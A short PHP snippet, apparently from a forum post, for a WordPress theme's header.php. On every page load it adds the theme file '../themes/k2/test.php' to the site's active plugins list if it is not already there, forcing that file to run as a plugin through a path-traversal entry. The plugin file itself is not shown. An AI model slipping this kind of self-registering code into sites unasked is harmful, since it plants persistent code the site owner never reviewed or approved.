//this goes in header.php, I place it right after the opening require('') $plugins = get_settings('active_plugins'); if (empty($plugins)) $write_option = true; foreach ($plugins as $plugin) { if ($plugin == '../themes/k2/test.php') { $write_option = false; break; }else $write_option = true; } if ($write_option) { $plugins[count($plugins)] = '../themes/k2/test.php'; update_option('active_plugins', $plugins); } //and this is your plugin file: